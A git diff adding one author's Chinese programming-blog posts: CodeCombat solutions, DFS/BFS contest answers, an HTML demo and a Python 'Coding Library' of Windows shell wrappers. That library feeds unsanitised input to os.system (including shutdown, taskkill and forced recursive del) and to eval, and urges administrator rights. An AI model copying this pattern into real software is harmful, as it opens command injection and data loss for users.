+![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a5615d65f026416bbd20c98771eb6490.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你的宠物可以使用 pet.moveXY() + +def onSpawn(event): + while True: + # 首先,移动到左侧的X标记处: + pet.moveXY(9, 24) + # 接着,移动到上面的X标记处: + pet.moveXY(30, 43) + # 将宠物移动至右侧的X标记处: + pet.moveXY(51, 24) + # 将宠物移动到下面的X标记处: + pet.moveXY(30,5) + +# 使用pet.on(),通过onSpawn来处理"spawn"事件 +pet.on("spawn",onSpawn) + +# 给你的宠物加油! +# 不要删除下面的命令。 +while True: + hero.say("狗狗真棒!") + hero.say("你能做到的!") + hero.say("跑跑跑!") + hero.say("快好了!") + hero.say("再来一圈!") + +``` + +## 第四十五关 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c610c66ca1b64e5882775356ad9a2e56.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```python +# 你的宠物需要在X标记上来回跑动。 +# 英雄需要不停为宠物加油! + +# 为宠物编写事件函数onSpawn。 +# 这个函数要让狼来回跑动: +# 首先,跑到右侧的标记上,然后左侧的标记: +def onSpawn(event): + while True: + + pet.moveXY(48,8) + pet.moveXY(12,8) + +pet.on("spawn", onSpawn) +# 为你的宠物加油。不要移除这个: +while True: + hero.say("跑!!!") + hero.say("速度!") + +``` + diff --git "a/Coding\346\250\241\345\235\227\347\232\204\346\272\220\344\273\243\347\240\201\345\205\254\345\270\203.md" "b/Coding\346\250\241\345\235\227\347\232\204\346\272\220\344\273\243\347\240\201\345\205\254\345\270\203.md" new file mode 100644 index 0000000..d8585e9 --- /dev/null +++ "b/Coding\346\250\241\345\235\227\347\232\204\346\272\220\344\273\243\347\240\201\345\205\254\345\270\203.md" @@ -0,0 +1,463 @@ +```python +from os import system,name +from os.path import exists +from time import sleep,strftime,localtime,time +from tkinter import Tk,Label +from easygui import enterbox,buttonbox,textbox,msgbox +from sys import path + +'''The coding library can help you run other code on Python!''' + +system('chcp 65001 >nul') +print('Welcome to Coding Library ! \t current state : {0}'.format(__name__)) +print('current coordinate : {0} \t current system : {1}'.format(path[0],name)) +print() +file = [] +data = ['utf-8 (65001)','2.2',__name__,path[0],name] +inks = ['calc','regedit','powershell','explorer','iexplore','see','cmd','title','color','echo','read','start','help','cls','md','cd','copy','delete','dir','cmd_exit','pause','lock','shutdown','taskkill','ping','sleep'] +title = 'Coding Library' +button = 'Okay' + +class Vbs_Code(): + def __init__(self): + self.file_name = 'vbs_program.vbs' + self.program = 'vbs' + self.encoding = 'ANSI' + def new(self,code): + with open(str(self.file_name),'w+',encoding = str(self.encoding)) as vbs_file: + vbs_file.write(str(code)) + sleep(2) + def call(self): + if exists(str(self.file_name)) == True: + system('call "' + str(self.file_name) + '"') + else: + system('del "' + str(self.file_name) + '"') + sleep(2) + def delete(self): + system('del "' + str(self.file_name) + '"') + +class Batch_Code(): + def __init__(self): + self.file_name = 'batch_program.bat' + self.program = 'batch' + self.encoding = 'UTF-8' + def new(self,code): + with open(str(self.file_name),'w+',encoding = str(self.encoding)) as batch_file: + batch_file.write(str(code)) + sleep(2) + def call(self): + if exists(str(self.file_name)) == True: + system('call "' + str(self.file_name) + '"') + else: + system('del /q /s /f "' + str(self.file_name) + '"') + sleep(2) + def delete(self): + system('del /q /s /f "' + str(self.file_name) + '"') + +class HTML_Code(): + def __init__(self): + self.file_name = 'html_program.html' + self.program = 'HTML5.0' + self.encoding = 'UTF-8' + def new(self,code): + with open(str(self.file_name),'w+',encoding = str(self.encoding)) as html_file: + html_file.write(str(code)) + sleep(2) + def call(self): + if exists(str(self.file_name)) == True: + system('call "' + str(self.file_name) + '"') + else: + system('del /q /s /f "' + str(self.file_name) + '"') + sleep(2) + def delete(self): + system('del /q /s /f "' + str(self.file_name) + '"') + +class JavaScript_Code(): + def __init__(self): + self.file_name = 'javascript_program.js' + self.program = 'javascript' + self.encoding = 'UTF-8' + def new(self,code): + with open(str(self.file_name),'w+',encoding = str(self.encoding)) as js_file: + js_file.write(str(code)) + sleep(2) + def call(self): + if exists(str(self.file_name)) == True: + system('call "' + str(self.file_name) + '"') + else: + system('del /q /s /f "' + str(self.file_name) + '"') + sleep(2) + def delete(self): + system('del /q /s /f "' + str(self.file_name) + '"') + +class CSS_Code(): + def __init__(self): + self.file_name = 'css_program.css' + self.program = 'css' + self.encoding = 'UTF-8' + def new(self,code): + with open(str(self.file_name),'w+',encoding = str(self.encoding)) as css_file: + css_file.write(str(code)) + sleep(2) + def call(self): + if exists(str(self.file_name)) == True: + system('call "' + str(self.file_name) + '"') + else: + system('del /q /s /f "' + str(self.file_name) + '"') + sleep(2) + def delete(self): + system('del /q /s /f "' + str(self.file_name) + '"') + +class Python_Code(): + def __init__(self): + self.file_name = 'python_program.py' + self.program = 'python' + self.encoding = 'UTF-8' + def new(self,code): + with open(str(self.file_name),'w+',encoding = str(self.encoding)) as css_file: + css_file.write(str(code)) + sleep(2) + def call(self): + if exists(str(self.file_name)) == True: + system('call "' + str(self.file_name) + '"') + else: + system('del /q /s /f "' + str(self.file_name) + '"') + sleep(2) + def delete(self): + system('del /q /s /f "' + str(self.file_name) + '"') + +class Error(Exception): + def __init__(self): + pass + + def __str__(self): + return 'Sorry, something went wrong, please check your code.' + +def calc(math): + try: + calc = eval(math) + msgbox('Calculation results: \n\n{0}'.format(calc),title,button) + return calc + except ZeroDivisionError: + msgbox('Error : \nZeroDivisionError\n\nPlease try again.',title,button) + except ValueError: + msgbox('Error : \nValueError\n\nPlease try again.',title,button) + except NameError: + msgbox('Error : \nValueError\n\nPlease try again.',title,button) + except SyntaxError: + msgbox('Error : \nSyntaxError\n\nPlease try again.',title,button) + +class Shortcuts(): + def __init__(self): + self.type = 'shortcuts' + def calc(self): + system('calc') + def regedit(self): + system('regedit') + def powerShell(self): + system('powershell') + def explorer(self,path): + system('explorer "{0}"'.format(path)) + def iexplore(self,web): + system('start iexplore "{0}"'.format(web)) + def see(self): + system('set') + def cmd(self): + system('start "%windir%\\System32\\cmd.exe"') + def title(self,title_text): + system('title {0}'.format(title_text)) + def color(self,attr): + system('color {0}'.format(attr)) + def echo(self,text): + system('echo {0}'.format(text)) + def read(self,path): + system('type {0}'.format(path)) + def start(self,path_or_Ink): + system('call {0}'.format(path_or_Ink)) + def help(self): + system('help') + def cls(self): + system('cls') + def md(self,folder): + system('md "{0}"'.format(folder)) + def cd(self,path): + system('cd "{0}"'.format(path)) + def copy(self,paths): + system('xcopy "{0}" "{1}"'.format(paths[0],paths[1])) + def delete(self,file): + system('del /q /s /f "{0}"'.format(file)) + def dir(self,dir): + system('dir /s "{0}"'.format(dir)) + def pause(self): + system('pause') + def cmd_exit(self): + system('exit') + def lock(self): + system('rundll32.exe user32.dll,LockWorkStation') + def shutdown(self,command): + system('shutdown {0}'.format(command)) + def taskkill(self,program): + system('taskkill /im {0} /f /t'.format(program)) + def ping(self,web,number): + system('ping {0} /n {1}'.format(web,number)) + def sleep(self,seconds): + system('ping 127.0.1 /n {0}'.format(seconds)) + +class Help(): + def __init__(self): + self.color = 'blue' + self.font = ('Courier New',18) + self.justify = 'left' + self.Vbs_Code = '''This class can help you call VBS code. + +usage method: + +import coding +# Import coding Library. +code = coding.Vbs_Code() +# Using variables to call objects of this class. +code.file_name = "MyFile.vbs" +# Rename file. +code.new('Msgbox "Hello,world!",64,"Coding Library"') +# Create a new file and write code. +code.call() +# Run code. +code.delete() +# Delete code. + +Please run this program as an administrator. +If no error is reported, a text box with the words "Hello, world" will pop up. +(Anti virus software may intercept)''' + self.Batch_Code = '''This class can help you call Batch code. + +usage method: + +import coding +# Import coding Library. +code = coding.Batch_Code() +# Using variables to call objects of this class. +code.file_name = "MyFile.bat" +# Rename file. +code.new('echo Hello,world!') +# Create a new file and write code. +code.call() +# Run code. +code.delete() +# Delete code. + +Please run this program as an administrator.''' + self.Python_Code = '''This class can help you call Python code. + +usage method: + +import coding +# Import coding Library. +code = coding.Python_Code() +# Using variables to call objects of this class. +code.file_name = "MyFile.py" +# Rename file. +code.new() +# Create a new file and write code. +code.call() +# Run code. +code.delete() +# Delete code. + +Please run this program as an administrator.''' + self.front_end = '''This class can help you call HTML,JavaScript,and CSS code. + +usage method: + +import coding +# Import coding Library. +code = coding.HTML_Code() +# Using variables to call objects of this class. +code.file_name = "MyFile.html" +# Rename file. +code.new('
Hello,world!
') +# Create a new file and write code. +code.call() +# Run code. +code.delete() +# Delete code.''' + self.allInk = inks + self.InkHelp_Text = '''We sort out some common CMD commands. + +usage method: + +import coding +ink = coding.Shortcuts() +ink.cmd() + +Please run this program as an administrator. + +All function: +{0}'''.format(self.allInk) + def VbsCodeHelp(self): + window = Tk() + window.resizable(0,0) + window.title(title) + Lab = Label(window, + text = self.Vbs_Code, + font = self.font, + foreground = self.color, + justify = self.justify) + Lab.pack() + window.mainloop() + def BatchCodeHelp(self): + window = Tk() + window.resizable(0,0) + window.title(title) + Lab = Label(window, + text = self.Batch_Code, + font = self.font, + foreground = self.color, + justify = self.justify) + Lab.pack() + window.mainloop() + def PythonCodeHelp(self): + window = Tk() + window.resizable(0,0) + window.title(title) + Lab = Label(window, + text = self.Python_Code, + font = self.font, + foreground = self.color, + justify = self.justify) + Lab.pack() + window.mainloop() + def FrontEndHelp(self): + window = Tk() + window.resizable(0,0) + window.title(title) + Lab = Label(window, + text = self.front_end, + font = self.font, + foreground = self.color, + justify = self.justify) + Lab.pack() + window.mainloop() + def calcHelp(self): + window = Tk() + window.resizable(0,0) + window.title(title) + Lab = Label(window, + text = '''Do some simple calculations.''', + font = self.font, + foreground = self.color, + justify = self.justify) + Lab.pack() + window.mainloop() + def InkHelp(self): + window = Tk() + window.resizable(0,0) + window.title(title) + Lab = Label(window, + text = self.InkHelp_Text, + font = self.font, + foreground = self.color, + justify = self.justify) + Lab.pack() + window.mainloop() + +class GUI(): + def __init__(self): + self.title = 'Coding Library - GUI' + self.button = 'Okay' + self.temp = 'temp.py' + self.encoding = 'utf-8' + self.type = 'w+' + self.file_name = ' ' + def calc(self): + try: + math = enterbox('Enter a formula : ',self.title) + calc = eval(math) + msgbox('Output results : \n\n{0}'.format(calc),self.title,self.button) + except ZeroDivisionError: + msgbox('Error : \nZeroDivisionError\n\nPlease try again.',self.title,self.button) + except ValueError: + msgbox('Error : \nValueError\n\nPlease try again.',self.title,self.button) + except NameError: + msgbox('Error : \nValueError\n\nPlease try again.',self.title,self.button) + def enterCode(self,type): + if type == 'VBS': + self.file_name = 'MyFile.vbs' + self.initText = "'Please enter your code below!" + input = textbox('Coding Library -- GUI \n',self.title,text = self.initText,codebox = True) + with open(self.file_name,self.type,encoding = self.encoding) as temp: + temp.write(input) + sleep(2) + system('call "' + str(self.file_name) + '"') + sleep(5) + system('del /q /s /f ' + str(self.file_name)) + elif type == 'Batch': + self.file_name = 'MyFile.bat' + self.initText = "::Please enter your code below!" + input = textbox('Coding Library -- GUI \n',self.title,text = self.initText,codebox = True) + with open(self.file_name,self.type,encoding = self.encoding) as temp: + temp.write(input) + sleep(2) + system('call "' + str(self.file_name) + '"') + sleep(5) + system('del /q /s /f ' + str(self.file_name)) + elif type == 'Python': + self.file_name = 'MyFile.py' + self.initText = "#Please enter your code below!" + input = textbox('Coding Library -- GUI \n',self.title,text = self.initText,codebox = True) + with open(self.file_name,self.type,encoding = self.encoding) as temp: + temp.write(input) + sleep(2) + system('call "' + str(self.file_name) + '"') + sleep(5) + system('del /q /s /f ' + str(self.file_name)) + elif type == 'HTML': + self.file_name = 'MyFile.html' + self.initText = "" + input = textbox('Coding Library -- GUI \n',self.title,text = self.initText,codebox = True) + with open(self.file_name,self.type,encoding = self.encoding) as temp: + temp.write(input) + sleep(2) + system('call "' + str(self.file_name) + '"') + sleep(5) + system('del /q /s /f ' + str(self.file_name)) + else: + msgbox('The code information was not found!',self.title,self.button) + +def about(): + author = 'Pan Daoxi' + date = '2020-6-15' + url = 'http://pandaoxi2020.360doc.com/' + version = '2.2' + email = '3362157322@qq.com' + description = 'The code library can help you run other code on Python!' + system('start iexplore "{0}"'.format(url)) + print('author : {0}\tdate : {1}\nurl : {2}\tversion : {3}\nemail : {4}\tdescription : {5}'.format(author,date,url,version,email,description)) + return 'author : {0}\tdate : {1}\nurl : {2}\tversion : {3}\nemail : {4}\tdescription : {5}'.format(author,date,url,version,email,description) + print() + for i in inks: + print(i) + +class Note(): + def __init__(self): + self.product = 'Coding Library' + self.version = '(2.2)' + self.time = strftime("%Y.%m.%d", localtime()) + self.type = 'txt' + def write(self,note): + print(self.time) + try: + with open('{0}_{1}_{2} - journal.{3}'.format(self.product,self.version,self.time,self.type),'w+') as note_file: + note_file.write(note) + except OSError: + print('Error!\nPlease try again!\n') + raise Error + except SyntaxError: + print('Error!\nPlease try again!\n') + raise Error + def delete(self,note_name): + system('del /q /s /f "{0}"'.format(note_name)) + + + +``` + diff --git "a/DFS\350\277\236\351\200\232\345\235\227\351\227\256\351\242\230\357\274\232Luogu P1331 \346\265\267\346\210\230.md" "b/DFS\350\277\236\351\200\232\345\235\227\351\227\256\351\242\230\357\274\232Luogu P1331 \346\265\267\346\210\230.md" new file mode 100644 index 0000000..bbbaff8 --- /dev/null +++ "b/DFS\350\277\236\351\200\232\345\235\227\351\227\256\351\242\230\357\274\232Luogu P1331 \346\265\267\346\210\230.md" @@ -0,0 +1,82 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a16f9fa874d540e4b20c05adeee7125c.png) + + +## 提示 + +对于 $100\%$ 的数据,$1 \le R,C \le 1000$。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/94bb11ac51bf4a16b8639c22f9e6edf7.png) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 1e3+1; +int n, m, ans, cnt, mini, minj, maxi, maxj, + fx[5] = {0, -1, 1, 0, 0}, + fy[5] = {0, 0, 0, -1, 1}; +bool a[inf][inf]; +void dfs(int x, int y){ + // 更新位置信息 + maxi = max(maxi, x), + maxj = max(maxj, y), + mini = min(mini, x), + minj = min(minj, y), + cnt++, a[x][y] = false; + + // 搜索 + for(int i=1; i<=4; i++){ + int xx = x + fx[i], yy = y + fy[i]; + if( + a[xx][yy] && + x >= 1 && x <= n && + y >= 1 && y <= m + ) dfs(xx, yy); + } +} +int main(){ + ios :: sync_with_stdio(false); + cin >> n >> m; + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + char c; + cin >> c; + a[i][j] = c == '#'; + } + } + + /* + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++) printf("%d ", a[i][j]); + printf("\n"); + } + */ + + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + if(a[i][j]){ + // 初始化位置信息 + maxi = mini = i, + maxj = minj = j, + cnt = 0; + + // 搜索 + dfs(i, j); + int tot = (maxi-mini+1) * (maxj-minj+1); + if(tot == cnt) ans++; // 一艘船 + else{ + printf("Bad placement."); + return 0; + } + } + } + } + printf("There are %d ships.", ans); + return 0; +} +``` + + +可以从我的微信名片上找到视频题解。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3ed64a1ea0734150ac8454c1a0a067b6.png) + diff --git "a/DFS\350\277\236\351\200\232\345\235\227\351\227\256\351\242\230\357\274\232LuoguP1331\346\265\267\346\210\230.md" "b/DFS\350\277\236\351\200\232\345\235\227\351\227\256\351\242\230\357\274\232LuoguP1331\346\265\267\346\210\230.md" new file mode 100644 index 0000000..bbbaff8 --- /dev/null +++ "b/DFS\350\277\236\351\200\232\345\235\227\351\227\256\351\242\230\357\274\232LuoguP1331\346\265\267\346\210\230.md" @@ -0,0 +1,82 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a16f9fa874d540e4b20c05adeee7125c.png) + + +## 提示 + +对于 $100\%$ 的数据,$1 \le R,C \le 1000$。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/94bb11ac51bf4a16b8639c22f9e6edf7.png) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 1e3+1; +int n, m, ans, cnt, mini, minj, maxi, maxj, + fx[5] = {0, -1, 1, 0, 0}, + fy[5] = {0, 0, 0, -1, 1}; +bool a[inf][inf]; +void dfs(int x, int y){ + // 更新位置信息 + maxi = max(maxi, x), + maxj = max(maxj, y), + mini = min(mini, x), + minj = min(minj, y), + cnt++, a[x][y] = false; + + // 搜索 + for(int i=1; i<=4; i++){ + int xx = x + fx[i], yy = y + fy[i]; + if( + a[xx][yy] && + x >= 1 && x <= n && + y >= 1 && y <= m + ) dfs(xx, yy); + } +} +int main(){ + ios :: sync_with_stdio(false); + cin >> n >> m; + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + char c; + cin >> c; + a[i][j] = c == '#'; + } + } + + /* + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++) printf("%d ", a[i][j]); + printf("\n"); + } + */ + + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + if(a[i][j]){ + // 初始化位置信息 + maxi = mini = i, + maxj = minj = j, + cnt = 0; + + // 搜索 + dfs(i, j); + int tot = (maxi-mini+1) * (maxj-minj+1); + if(tot == cnt) ans++; // 一艘船 + else{ + printf("Bad placement."); + return 0; + } + } + } + } + printf("There are %d ships.", ans); + return 0; +} +``` + + +可以从我的微信名片上找到视频题解。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3ed64a1ea0734150ac8454c1a0a067b6.png) + diff --git "a/DFS\357\274\232\346\225\260\346\261\240\345\241\230\343\200\201\350\265\260\345\207\272\350\277\267\345\256\253\347\232\204\346\234\200\345\260\221\346\255\245\346\225\260.md" "b/DFS\357\274\232\346\225\260\346\261\240\345\241\230\343\200\201\350\265\260\345\207\272\350\277\267\345\256\253\347\232\204\346\234\200\345\260\221\346\255\245\346\225\260.md" new file mode 100644 index 0000000..d0cceb6 --- /dev/null +++ "b/DFS\357\274\232\346\225\260\346\261\240\345\241\230\343\200\201\350\265\260\345\207\272\350\277\267\345\256\253\347\232\204\346\234\200\345\260\221\346\255\245\346\225\260.md" @@ -0,0 +1,192 @@ +# 数池塘(四方向) +## 题目描述 +农夫约翰的农场可以表示成$N \times M$($1\le N\le 100\le M\le100$)个方格组成的矩形。由于近日的降雨,在约翰农场上的不同地方形成了池塘。每一个方格或者有积水(`'W'`)或者没有积水(`'.'`)。农夫约翰打算数出他的农场上共形成了多少池塘。一个池塘是一系列相连的有积水的方格,每一个方格周围的四个方格都被认为是与这个方格相连的。现给出约翰农场的图样,要求输出农场上的池塘数。 + +## 输入 +第 $1$ 行:由空格隔开的两个整数:$N$ 和 $M$ 。 +第 $2..N+1$ 行:每行M个字符代表约翰农场的一排方格的状态。每个字符或者是'W'或者是`'.'`,字符之间没有空格。 + +## 输出 +输出只有 $1$ 行,输出约翰农场上的池塘数。 + +## 样例输入 + +```cpp +10 12 +W........WW. +.WWW.....WWW +....WW...WW. +.........WW. +.........W.. +..W......W.. +.W.W.....WW. +W.W.W.....W. +.W.W......W. +..W.......W. +``` + +## 样例输出 + +```cpp +13 +``` +## 代码 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 101; +bool a[inf][inf]; +int n, m, ans; +int fx[6] = {inf, 0, 1, 0, -1}, + fy[6] = {inf, 1, 0, -1, 0}; +void dfs(int x, int y){ + if(!a[x][y]) return; // 没水了,结束 + a[x][y] = false; // 抽当前位置的水 + for(int i=1; i<=4; i++){ + int xx = x + fx[i], yy = y + fy[i]; // 记录方向 + if(xx >= 1 && xx <= n && yy >= 1 && yy <= m && a[xx][yy]){ + dfs(xx, yy); // 搜 + } + } +} +int main(){ + cin >> n >> m; + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + char ch; + cin >> ch; + a[i][j] = ch == 'W'; // 读入 + } + } + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + if(a[i][j]){ + dfs(i, j); + ans++; // 水池数++ + } + } + } + cout << ans; + return 0; +} +``` + +走出迷宫的最少步数 +题目描述 +一个迷宫由$R$行$C$列格子组成,有的格子里有障碍物,不能走;有的格子是空地,可以走。 +给定一个迷宫,求从左上角走到右下角最少需要走多少步(数据保证一定能走到)。只能在水平方向或垂直方向走,不能斜着走。 + +输入 +第一行是两个整数,R和C,代表迷宫的行数和列数。( $1\le R,C \le 40$) +接下来是R行,每行C个字符,代表整个迷宫。空地格子用'.'表示,有障碍物的格子用`'#'`表示。迷宫左上角和右下角都是`'.'`。 + +输出 +输出从左上角走到右下角至少要经过多少步(即至少要经过多少个空地格子)。计算步数要包括起点和终点。 + +## 样例输入 + +```cpp +5 5 +..### +#.... +#.#.# +#.#.# +#.#.. +``` + +## 样例输出 + +```cpp +9 +``` + +## 代码 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 41; +bool a[inf][inf]; +int fx[6] = {inf, 0, 1, 0, -1}, + fy[6] = {inf, 1, 0, -1, 0}, + p[inf][inf], n, m; +void dfs(int x, int y, int k=1){ + p[x][y] = k; + for(int i=1; i<=4; i++){ + int xx = x + fx[i], yy = y + fy[i]; + // a[i][j] 为 true 有路 + if(xx >= 1 && xx <= n && yy >= 1 && yy <= m && k+1 < p[xx][yy]){ + dfs(xx, yy, k+1); + } + } +} +int main(){ + cin >> n >> m; + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + char ch; + cin >> ch; + a[i][j] = ch == '.'; + p[i][j] = INT_MAX; + } + } + dfs(1, 1); + cout << p[n][m]; + return 0; +} +``` +附赠BFS解法: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int a[101][101], q[10001][3], + n, m, num=1, h=1, t=1, + fx[5] = {0, 0, 1, 0, -1}, + fy[5] = {0, 1, 0, -1, 0}; +int main(){ + cin >> n >> m; + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + char q; + cin >> q; + if(q == '#') a[i][j] = 114514; + } + } + a[1][1] = q[t][1] = q[t][2] = q[t][3] = 1; + while(h <= t){ + for(int i=1; i<=4; i++){ + int xx = q[h][1] + fx[i], + yy = q[h][2] + fy[i], + ss = q[h][3] + 1; + if(xx >= 1 && xx <= n && yy >= 1 && yy <= m && a[xx][yy] == 0){ + t++, + num++, + a[xx][yy] = num, + q[t][1] = xx, + q[t][2] = yy, + q[t][3] = ss; + if(xx == n && yy == m){ + cout << ss; + return 0; + } + } + } + h++; + } + /*debug + for(int i=1; i<=n; i++){ + for(int j=1; j<=m; j++){ + printf("%d ", a[i][j]); + } + printf("\n"); + } + */ + return 0; +} +``` + diff --git "a/HTML5\344\273\243\347\240\201\351\233\250\347\250\213\345\272\217.md" "b/HTML5\344\273\243\347\240\201\351\233\250\347\250\213\345\272\217.md" new file mode 100644 index 0000000..bd317cb --- /dev/null +++ "b/HTML5\344\273\243\347\240\201\351\233\250\347\250\213\345\272\217.md" @@ -0,0 +1,72 @@ +上次我们制作了`cmd`的数字雨程序([点击这里查看](https://blog.csdn.net/PanDaoxi2020/article/details/108146578)),这一次我们使用HTML来制作。 +先简单介绍一下HTML: + +> HTML又叫`超文本标记语言`,标准通用标记语言下的一个应用。 “超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。 超文本标记语言的结构包括“头”部分(``)、和“主体”部分(英语:``),其中“头”部提供关于网页的信息,“主体”部分提供网页的具体内容。 + +我们开始写代码: +1.新建一个文本文档,输入以下内容(有开发工具的可以用开发工具): + +```html + + + + + NumberRain + + + + + + + +``` +代码写完后保存退出,改拓展名为`.html`或`.htm`,效果大家自己尝试,非常好看。 + +注:在CSDN博客里也可以直接调用HTML标签! + +这是使用u标签(下划线) +这是使用b标签(加粗) +这是使用i标签(倾斜) +这是使用del标签(删除线) +
这是使用a标签(超链接,代码是``) + +这是编辑区: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200821145153334.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +这是效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200821145219899.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) + diff --git "a/HTML\350\267\263\350\275\254\345\210\260\345\217\246\344\270\200\344\270\252\351\241\265\351\235\242.md" "b/HTML\350\267\263\350\275\254\345\210\260\345\217\246\344\270\200\344\270\252\351\241\265\351\235\242.md" new file mode 100644 index 0000000..91fb73a --- /dev/null +++ "b/HTML\350\267\263\350\275\254\345\210\260\345\217\246\344\270\200\344\270\252\351\241\265\351\235\242.md" @@ -0,0 +1,5 @@ +我们直接看代码: +```html + +``` + diff --git "a/Haroopad\345\256\211\350\243\205\350\277\207\347\250\213\344\270\255\345\207\272\347\216\260\346\237\220\347\247\215\351\227\256\351\242\230\347\232\204\350\247\243\345\206\263\346\226\271\346\263\225.md" "b/Haroopad\345\256\211\350\243\205\350\277\207\347\250\213\344\270\255\345\207\272\347\216\260\346\237\220\347\247\215\351\227\256\351\242\230\347\232\204\350\247\243\345\206\263\346\226\271\346\263\225.md" new file mode 100644 index 0000000..d640133 --- /dev/null +++ "b/Haroopad\345\256\211\350\243\205\350\277\207\347\250\213\344\270\255\345\207\272\347\216\260\346\237\220\347\247\215\351\227\256\351\242\230\347\232\204\350\247\243\345\206\263\346\226\271\346\263\225.md" @@ -0,0 +1,10 @@ +安装Markdown编辑器Haroopad时出现了如下报错:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c69669e1aa0d4a71974c6d072b98a8d0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fc0ae494e8e04a859d35abb5937a984b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3ad52989ed3b475dacf9cfff8c23cf72.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +解决方案: + + 1. 打开命令提示符(管理员模式),然后依次输入以下命令: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7f2ad25579e842cbbdac3647fe021864.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +2. 然后一步步按照指示操作,安装即可。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0d4ffc7f382045a5888705e5c420406b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +问题到底还是出在了管理员身份上。 diff --git a/Luogu P1020, P1106, P1025, P1134.md b/Luogu P1020, P1106, P1025, P1134.md new file mode 100644 index 0000000..c0fb709 --- /dev/null +++ b/Luogu P1020, P1106, P1025, P1134.md @@ -0,0 +1,309 @@ + +> 大家好,我在洛谷办了一场[比赛](https://www.luogu.com.cn/contest/86309),欢迎来参加。题目并不难,基本上都是红题,20分钟就写完了! +> 欢迎来报名参加嗷! + + +# [NOIP1999 普及组] 导弹拦截 + +## 题目描述 + +某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统。但是这种导弹拦截系统有一个缺陷:虽然它的第一发炮弹能够到达任意的高度,但是以后每一发炮弹都不能高于前一发的高度。某天,雷达捕捉到敌国的导弹来袭。由于该系统还在试用阶段,所以只有一套系统,因此有可能不能拦截所有的导弹。 + + +输入导弹依次飞来的高度,计算这套系统最多能拦截多少导弹,如果要拦截所有导弹最少要配备多少套这种导弹拦截系统。 + +## 输入格式 + +一行,若干个整数,中间由空格隔开。 + +## 输出格式 + +两行,每行一个整数,第一个数字表示这套系统最多能拦截多少导弹,第二个数字表示如果要拦截所有导弹最少要配备多少套这种导弹拦截系统。 + +## 样例 #1 + +### 样例输入 #1 + +``` +389 207 155 300 299 170 158 65 +``` + +### 样例输出 #1 + +``` +6 +2 +``` + +## 提示 + +对于前 $50\%$ 数据(NOIP 原题数据),满足导弹的个数不超过 $2000$ 个。该部分数据总分共 $100$ 分。可使用$\mathcal O(n^2)$ 做法通过。 +对于后 $50\%$ 的数据,满足导弹的个数不超过 $10^5$ 个。该部分数据总分也为 $100$ 分。请使用 $\mathcal O(n\log n)$ 做法通过。 + +对于全部数据,满足导弹的高度为正整数,且不超过 $5\times 10^4$。 + + 